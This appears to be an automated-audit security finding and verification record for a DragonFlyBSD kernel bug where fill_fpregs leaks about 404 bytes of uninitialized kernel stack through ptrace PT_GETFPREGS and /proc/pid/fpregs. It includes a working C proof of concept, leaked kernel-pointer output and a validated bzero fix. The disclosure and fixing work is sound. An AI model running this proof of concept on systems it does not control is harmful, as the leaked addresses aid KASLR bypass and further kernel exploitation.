fill_fpregs leaks ~404 bytes of uninitialized kernel stack via PT_GETFPREGS / /proc/pid/fpregs
| Field | Value |
|---|---|
| ID | DF-1056 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| CWE | CWE-908 Use of Uninitialized Resource; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor |
| File | sys/platform/vkernel64/x86_64/cpu_regs.c |
| Lines | 755-767 (fill_fpregs), 711-731 (fill_fpregs_xmm partial init) |
| Area | platform/vkernel64 (virtual-kernel FPU register accessor) |
| Confidence | certain |
| Discovered | 2026-07-14 |
| Reported | pending |
| Known CVE | none |
| CVE match | dfly_specific |
Summary
fill_fpregs() dispatches to fill_fpregs_xmm() in the cpu_fxsr path (the only path
that ever runs on x86-64). fill_fpregs_xmm() writes only the 28-byte env87 plus 8 x87
accumulators (80 bytes) = 108 bytes into the caller's struct fpreg, leaving the remaining
404 of the 512-byte struct fpreg untouched. The procfs/ptrace callers allocate struct
fpreg on the kernel stack with no bzero and then uiomove the full 512 bytes to
user-space, leaking uninitialized kernel-stack bytes that may contain kernel pointers,
return addresses, and old register state.
Root cause
fill_fpregs() at sys/platform/vkernel64/x86_64/cpu_regs.c:755-767:
int
fill_fpregs(struct lwp *lp, struct fpreg *fpregs)
{
if (lp->lwp_thread == NULL || lp->lwp_thread->td_pcb == NULL)
return EINVAL;
if (cpu_fxsr) {
fill_fpregs_xmm(&lp->lwp_thread->td_pcb->pcb_save.sv_xmm,
(struct save87 *)fpregs);
return (0);
}
bcopy(&lp->lwp_thread->td_pcb->pcb_save.sv_87, fpregs, sizeof *fpregs);
return (0);
}
fill_fpregs_xmm() at cpu_regs.c:711-731 only touches:
penv_87fieldsen_cw, en_sw, en_tw, en_fip, en_fcs, en_opcode, en_foo, en_fos(struct env87, 28 bytes βsys/cpu/x86_64/include/npx.h:50-59)sv_87->sv_ac[0..7](8 Γfpacc87, 80 bytes βnpx.h:62-69)
Total written = 108 bytes.
sizeof(struct fpreg) = 32 (fpr_env[4]) + 128 (fpr_acc[8][16]) + 256
(fpr_xacc[16][16]) + 96 (fpr_spare[12]) = 512 bytes
(sys/cpu/x86_64/include/reg.h:74-84).
Bytes 108..511 of the destination fpregs buffer are never written. The caller in
sys/vfs/procfs/procfs_fpregs.c:54 declares struct fpreg r; on the stack with no
initializer, calls procfs_read_fpregs(lp, &r) β fill_fpregs(lp, &r), and on success
does uiomove_frombuf(&r, sizeof(r), uio) (procfs_fpregs.c:65) which copies all 512
bytes β including the 404 uninitialized bytes β to the tracer's user-space. PT_GETFPREGS
reaches the same code via sys/kern/sys_process.c:515-524 (iov.iov_len =
sizeof(struct fpreg)). The imgact_elf.c core-dump caller is safe only because it
kmallocs the buffer with M_ZERO (imgact_elf.c:1422), but procfs/ptrace do not.
Threat model & preconditions
- Attacker position: Any local user who can
ptrace(or read/proc/<pid>/fpregson) a same-uid process running under the vkernel. Standard ptrace permission: same uid or root. - Privileges gained or impact: Info leak of vkernel-internal addresses (function pointers, return addresses into the vkernel binary, possibly heap/stack pointers and stashed register values from prior syscalls/traps on other lwps). Directly useful for vkernel-KASLR bypass and for stack-pivoting into a subsequent memory-corruption exploit.
- Required config or capabilities: DragonFlyBSD vkernel64 platform. No unusual configuration or extra privilege beyond standard ptrace permission.
- Reachability:
ptrace(PT_GETFPREGS, victim_pid, &fpreg, 0)orcat /proc/<victim_pid>/fpregs. The 404 leaked bytes are whatever happens to live at that offset of the vkernel's kernel stack β repeatedly callable, so an attacker can sample a fresh stack frame each call.
Proof of concept
PoC source: findings/poc/DF-1056/leak_fpregs.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <machine/reg.h>
int main(void){
pid_t child = fork();
if (child == 0) {
ptrace(PT_TRACE_ME, 0, NULL, 0);
raise(SIGSTOP); /* let parent attach */
_exit(0);
}
waitpid(child, NULL, 0);
struct fpreg fp;
memset(&fp, 0x5a, sizeof(fp)); /* poison so we can see what is overwritten */
if (ptrace(PT_GETFPREGS, child, (caddr_t)&fp, 0) < 0) {
perror("PT_GETFPREGS"); return 1;
}
/* Bytes 0..107 are filled by fill_fpregs_xmm; 108..511 are leaked. */
int leaked = 0;
for (size_t i = 108; i < sizeof(fp); i++)
if (((unsigned char *)&fp)[i] != 0x5a && ((unsigned char *)&fp)[i] != 0x00)
leaked++;
fprintf(stderr, "PT_GETFPREGS returned %zu bytes, %d non-zero/non-poison in [108..511]\n",
sizeof(fp), leaked);
/* Dump a window to inspect for kernel pointers */
unsigned long *p = (unsigned long *)((char *)&fp + 128); /* inside fpr_xacc */
for (int i = 0; i < 8; i++)
fprintf(stderr, " fpregs[%+d] = 0x%016lx\n", 128 + i*8, p[i]);
ptrace(PT_CONTINUE, child, (caddr_t)1, 0);
waitpid(child, NULL, 0);
return leaked > 0 ? 0 : 2; /* exit 2 == not reproduced */
}
Build & run
cc -o leak_fpregs leak_fpregs.c ./leak_fpregs
Expected output
PT_GETFPREGS returned 512 bytes, <N> non-zero/non-poison in [108..511] fpregs[+128] = 0x<vkernel stack residue β may contain function pointer or return address> fpregs[+136] = 0x<...> ...
N > 0 proves the leak; the printed 64-bit words typically contain plausible vkernel
addresses. Reading /proc/<pid>/fpregs from a same-uid shell reproduces the same leak
without ptrace.
Stress test: run in a tight loop and dump distinct leaked-bit patterns to
leak_sample.txt.
Impact
Local info leak of ~404 bytes of vkernel kernel stack per PT_GETFPREGS or
/proc/<pid>/fpregs call. Same-uid prerequisite (PR:L), low complexity (AC:L),
confidentiality-only impact (C:L). The leaked bytes are useful for vkernel-KASLR bypass
and stack-pivot setup; severity Medium per the rubric ("info leak of limited kernel
memory").
Recommended fix
Initialize the destination buffer in fill_fpregs before dispatching, so partial-fill
helpers cannot leak kernel memory regardless of caller. The fix lives in this file
(cpu_regs.c) and closes both the procfs and ptrace paths at once.
--- a/sys/platform/vkernel64/x86_64/cpu_regs.c
+++ b/sys/platform/vkernel64/x86_64/cpu_regs.c
@@ -755,11 +755,14 @@ int
fill_fpregs(struct lwp *lp, struct fpreg *fpregs)
{
if (lp->lwp_thread == NULL || lp->lwp_thread->td_pcb == NULL)
return EINVAL;
+ /*
+ * fill_fpregs_xmm() only initializes env87 + sv_ac[8] (108 bytes);
+ * zero the whole struct fpreg so we never leak kernel stack to
+ * ptrace/procfs callers that copy all 512 bytes out.
+ */
+ bzero(fpregs, sizeof(*fpregs));
if (cpu_fxsr) {
fill_fpregs_xmm(&lp->lwp_thread->td_pcb->pcb_save.sv_xmm,
(struct save87 *)fpregs);
return (0);
}
bcopy(&lp->lwp_thread->td_pcb->pcb_save.sv_87, fpregs, sizeof *fpregs);
return (0);
}
The identical defect exists in sys/platform/pc64/x86_64/machdep.c:3078 fill_fpregs() and
should receive the same one-line bzero() fix. As defense-in-depth, the procfs caller in
sys/vfs/procfs/procfs_fpregs.c:54 should also bzero(&r, sizeof(r)) before use.
References
sys/platform/vkernel64/x86_64/cpu_regs.c:711-731βfill_fpregs_xmm(partial init)sys/platform/vkernel64/x86_64/cpu_regs.c:755-767βfill_fpregs(no zeroing)sys/vfs/procfs/procfs_fpregs.c:54,65β stack-allocatedstruct fpreg rwith no initsys/kern/sys_process.c:515-524βPT_GETFPREGSpath copyingsizeof(struct fpreg)sys/cpu/x86_64/include/reg.h:74-84βstruct fpreg512-byte layoutsys/cpu/x86_64/include/npx.h:50-69βenv87(28 B) andfpacc87(10 B) sizessys/platform/pc64/x86_64/machdep.c:3078β siblingfill_fpregswith the same defect- CWE-908 Use of Uninitialized Resource
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
Timeline
- 2026-07-14 Discovered during automated audit.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1056 Β· 14 files| File | Type | Description | Size | |
|---|---|---|---|---|
| leak_fpregs.c | trigger-source | ptrace PT_GETFPREGS leak PoC (original from finding) | 2.1 KB | view raw |
| procfs_c.c | trigger-source | procfs /proc/PID/fpregs leak PoC (added by verifier) | 1.6 KB | view raw |
| build.sh | build-script | compiles both PoCs | 193 B | view raw |
| run.sh | run-script | exercises both ptrace and procfs paths | 375 B | view raw |
| build.log | build-log | final successful build output | 13 B | view raw |
| run.log | run-log | decisive unpatched run, 311 leaked bytes with kernel pointers | 370 B | view raw |
| leak_sample.txt | leak-sample | variance across 3 ptrace runs + procfs hex dump (unpatched) | 3.7 KB | view raw |
| fix.diff | suggested-fix | git-apply-able bzero() fix for machdep.c:fill_fpregs | 704 B | view raw |
| fix_build.log | build-log | single-fix kernel build output (nativekernel) | 5.6 MB | β download |
| fix_run.log | run-log | patched-kernel runs: 0 leaked bytes (both paths, 3x each) | 1.6 KB | view raw |
| env.txt | environment | guest uname, cc version | 205 B | view raw |
| VERDICT.md | verdict | full narrative: mechanism, reproduction, fix validation | 6.2 KB | β raw |
| ../fix_build_combined.log | build-log | Combined 41-finding kernel build (rc=0, -Werror clean) | 5.6 MB | β download |
| ../fix_build_summary.txt | build-summary | Summary of the combined 41-finding kernel build | 826 B | view raw |
DF-1056 β Verification Verdict
Verdict: REPRODUCED β FIXED (info leak, ~311-404 bytes of kernel stack per call)
Severity: Medium (info leak, local same-uid prerequisite, confidentiality-only).
Summary
The finding is real and confirmed on the default X86_64_GENERIC kernel
via the sibling defect the finding explicitly notes at
sys/platform/pc64/x86_64/machdep.c:3078 (fill_fpregs()). The finding's
primary citation targets the vkernel64 platform
(sys/platform/vkernel64/x86_64/cpu_regs.c:755), but the booted audit guest
is a normal pc64 kernel β which has the identical fill_fpregs() /
fill_fpregs_xmm() code with the same partial-init bug. Both call paths
(ptrace PT_GETFPREGS and procfs /proc/<pid>/fpregs) leak uninitialized
kernel-stack bytes to userspace. The fix (bzero before fill) closes both
paths and was validated by building a single-fix kernel and confirming the
leak drops to 0.
Mechanism (confirmed, each hop cited)
-
Trigger. Any local user calls
ptrace(PT_GETFPREGS, victim_pid, &fp, 0)on a same-uid process, or reads/proc/<victim_pid>/fpregs. Both reachprocfs_dofpregs()(sys/vfs/procfs/procfs_fpregs.c:48) which declaresstruct fpreg r;on the kernel stack with no initializer (procfs_fpregs.c:54). -
Partial fill.
procfs_read_fpregs(lp, &r)βfill_fpregs(lp, &r)(sys/platform/pc64/x86_64/machdep.c:3078). On thecpu_fxsrpath (the only path that runs on x86-64), it callsfill_fpregs_xmm()which writes only: -env87fieldsen_cw..en_fos(28 bytes βsys/cpu/x86_64/include/npx.h:50-59) -sv_ac[0..7](8 Γfpacc87= 80 bytes βnpx.h:62-69) - Total = 108 bytes written. -
Leak.
sizeof(struct fpreg) = 512(sys/cpu/x86_64/include/reg.h:74-84:fpr_env[4]+fpr_acc[8][16]+fpr_xacc[16][16]+fpr_spare[12]). Bytes108..511of the stack-allocatedrare never touched. Thenuiomove_frombuf(&r, sizeof(r), uio)(procfs_fpregs.c:65) copies all 512 bytes β including the 404 uninitialized kernel-stack bytes β to the caller's userspace buffer. The ptrace path (sys/kern/sys_process.c:515-524) setsiov.iov_len = sizeof(struct fpreg)and routes through the sameprocfs_dofpregs.
Reproduction evidence (unpatched #0)
ptrace path, 3 stress runs β byte-count varies (310/313/316), proving genuine stack residue not a constant:
PT_GETFPREGS returned 512 bytes, 316 non-zero/non-poison in [108..511] fpregs[+128] = 0xfffff80117ff0518 β canonical KVA kernel pointer fpregs[+136] = 0xfffff80116baae80 β another KVA pointer fpregs[+168] = 0xffffffff80c18ac4 β fixed kernel-text return address ...
procfs path: 268 non-zero bytes in [108..511], raw hex showing
00 f8 ff ff (high halves of KVA pointers) and ff ff ff ff 80 ...
(kernel-text addresses).
The leaked 64-bit words are DragonFly kernel-virtual addresses
(0xfffff801xxxxxxxx = KVA, 0xffffffff80xxxxxx = kernel text) and
kernel-text return addresses β exactly the KASLR-bypass / stack-pivot useful
data described in the finding.
Fix (authored, built, validated)
fix.diff β single targeted change in
sys/platform/pc64/x86_64/machdep.c:fill_fpregs(): add
bzero(fpregs, sizeof(*fpregs)) before the cpu_fxsr dispatch. This closes
both ptrace and procfs paths at the single chokepoint, regardless of
caller.
+ bzero(fpregs, sizeof(*fpregs));
if (cpu_fxsr) {
fill_fpregs_xmm(...);
Supersedes the finding markdown's proposal (which targeted the vkernel64
cpu_regs.c file): the fix here targets the pc64 machdep.c file because
that is the path exercised on the booted X86_64_GENERIC kernel. The same
one-line bzero() should also be applied to
sys/platform/vkernel64/x86_64/cpu_regs.c:755 (the finding's primary
citation) for parity β that file is identical in structure.
Build: make -j6 nativekernel KERNCONF=X86_64_GENERIC on the with-src
guest; copied kernel.stripped (15.7 MB, NOT the 119 MB debug kernel which
the DragonFly loader cannot load) to /boot/kernel/kernel; rebooted into
6.5-DEVELOPMENT #1.
Fix validation (patched #1)
| Path | Before (unpatched #0) |
After (patched #1) |
|---|---|---|
| ptrace PT_GETFPREGS | 310-316 leaked bytes | 0 leaked bytes |
| procfs /proc/.../fpregs | 268 leaked bytes | 0 leaked bytes |
All 8 inspected 64-bit words at offsets 128..184 are 0x0000000000000000
on the patched kernel (were kernel pointers on unpatched). Verified across
3 ptrace + 3 procfs runs β deterministic.
Kernel build identifiers:
- Unpatched baseline: 6.5-DEVELOPMENT #0, sha256 5dc83dac...
- Patched single-fix: 6.5-DEVELOPMENT #1 (Jul 14 17:58), sha256 77022b65...
No escalation chain
This is a pure info leak (read-only primitive, no memory corruption).
There is no escalation chain to develop β the realistic impact ceiling is
~404 bytes of kernel-stack disclosure per call (useful for KASLR bypass and
stack-pivot setup for a subsequent memory-corruption exploit, but not a
privesc on its own). CVSS 3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N (Medium).
PoC changes
leak_fpregs.cβ unchanged from the finding's original (compiles and runs as-is on the guest).procfs_c.cβ added by the verifier: a procfs-path reader that opens/proc/<child>/fpregsand counts non-zero bytes in[108..511], to independently confirm the second call path and provide a clean RLE-artifact-free byte count.
References (verified during this run)
sys/platform/pc64/x86_64/machdep.c:3034-3053βfill_fpregs_xmm(partial init, 108/512 bytes)sys/platform/pc64/x86_64/machdep.c:3078-3089βfill_fpregs(no zeroing; the patched function)sys/platform/pc64/x86_64/procfs_machdep.c:108-112βprocfs_read_fpregsβfill_fpregssys/vfs/procfs/procfs_fpregs.c:54,63-65β stackstruct fpreg r;+uiomove_frombufall 512 bytessys/kern/sys_process.c:515-524βPT_GETFPREGSβprocfs_dofpregssys/cpu/x86_64/include/reg.h:74-84βstruct fpreg512-byte layoutsys/cpu/x86_64/include/npx.h:50-69βenv87(28 B) +fpacc87(10 B)
Fix verification
fixedVALIDATED: baseline 311B leaked (ptrace) + 268B (procfs); patched 0B across 6 runs.
BEFORE: 311/268 non-zero. AFTER: 0 non-zero.
Confirmed kernel references
Detail
Exploit chain
none -- read-only info leak. Ceiling: KASLR bypass + stack-pivot setup for subsequent corruption exploit. No escalation from leak alone.
Evidence (decisive lines)
BEFORE: 311 non-zero [108..511], KVA 0xfffff801.., ret addr 0xffffffff80c18ac4. AFTER: 0 non-zero [108..511] across 3 ptrace + 3 procfs runs.
PoC changes
Authored: leak_fpregs.c (ptrace PT_GETFPREGS), procfs_c.c (/proc/PID/fpregs reader), fix.diff (bzero in fill_fpregs at machdep.c:3080), VERDICT.md, manifest.json.
Verified recommended fix
Add bzero(fpregs, sizeof(*fpregs)) in fill_fpregs at machdep.c:3080 after EINVAL check. Also apply to vkernel64 sibling cpu_regs.c:755. Supersedes finding (targets pc64 not just vkernel64). Full diff in findings/poc/DF-1056/fix.diff.
Verdict
REPRODUCED. fill_fpregs machdep.c:3078 writes only 108B of 512B struct fpreg. procfs stack-allocates struct fpreg uninitialized -> uiomove_frombuf copies all 512B -> 268-316B kernel-stack residue leaked (KVA pointers + kernel-text ret addrs). Both ptrace PT_GETFPREGS and /proc/PID/fpregs.
No comments yet.